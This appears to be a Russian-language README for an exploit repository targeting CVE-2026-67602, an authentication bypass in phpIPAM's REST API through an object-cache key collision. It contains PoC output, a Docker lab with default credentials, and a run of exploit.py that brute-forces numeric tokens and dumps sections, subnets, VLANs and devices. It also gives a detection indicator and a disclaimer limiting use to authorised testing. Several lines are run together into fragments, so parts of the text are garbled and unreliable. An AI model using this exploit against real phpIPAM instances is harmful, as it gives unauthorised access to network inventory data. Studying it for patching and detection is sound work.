
Эксплойт и PoC для CVE-2026-67602 — обход аутентификации в REST API phpIPAM через коллизию ключей объектного кэша, включая PoC на уровне логики и скрипт удалённого эксплойта.
Неаутентифицированный обход аутентификации в REST API phpIPAM, вызванный
коллизией ключей объектного кэша: строка базы данных, кэшируемая при
разрешении app_id приложения API, удовлетворяет последующей проверке
app_code (токена) всякий раз, когда предоставленный токен равен числовому
id строки. Реальный секрет приложения никогда не сравнивается.
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)app_security = ssl_coded29728f)| Файл | Назначение |
|---|---|
poc_cache_collision.php | PoC на уровне логики. Запускает дословные реализации уязвимой (v1.8.1) и исправленной (1.8.2) версий fetch_object/cache_check/cache_write против заглушки базы данных и воспроизводит точную последовательность выборки одного HTTP-запроса. Установка phpIPAM не требуется. |
exploit.py | Удалённый эксплойт против работающего экземпляра phpIPAM < 1.8.2: перечисляет допустимые app_id (400 против 401), подбирает числовой токен (обычно id 1-3) и опционально выгружает секции/подсети/VLAN/устройства. |
docker-compose.yml | Уязвимая лаборатория: phpIPAM v1.8.1 + MariaDB, обычный HTTP с IPAM_TRUST_X_FORWARDED=true, чтобы приложения ssl_code можно было тестировать через заголовок X-Forwarded-Proto. |
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client') -> строка id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (заголовок phpipam-token) -> ОБЪЕКТ (попадание в кэш!)
[3] $app_id == $app_temp->app_id -> АУТЕНТИФИЦИРОВАН
$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (заголовок phpipam-token) -> false
[3] Ответ: 401 Unauthorized — токен отклонён
$ docker compose up -d
http://localhost:8080/, перейдите к установщику
(http://localhost:8080/install/), выберите Автоматическая установка
базы данных, пользователь MySQL root / пароль phpipamAdminRoot.admin / admin), задайте новый пароль администратора при запросе.app_id): clientЗапустите эксплойт (флаг --xfp удовлетворяет проверке HTTPS через
X-Forwarded-Proto, которому доверяет лаборатория):
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Цель: http://localhost:8080
[*] Подбор числовых токенов (id строк) 1..64 для app_id='client'...
[+] ОБХОД АУТЕНТИФИКАЦИИ — phpipam-token: 1 принят
[+] Реальный 32-символьный app_code приложения так и не понадобился.
[+] GET /api/client/sections/ -> HTTP 200, 1 секция(и) доступна для чтения
[*] Выгрузка данных IPAM...
d29728f).ssl_code
(другие режимы безопасности не затронуты этой коллизией кэша)./api/<app_id>/...
с чисто числовым заголовком phpipam-token — легитимные токены представляют
собой 32-символьные случайные строки, поэтому числовые токены являются
высокоточным IOC.Этот репозиторий предназначен только для оборонительных исследований и авторизованного тестирования на проникновение. Запускайте его только против систем, которыми вы владеете или на тестирование которых имеете письменное разрешение.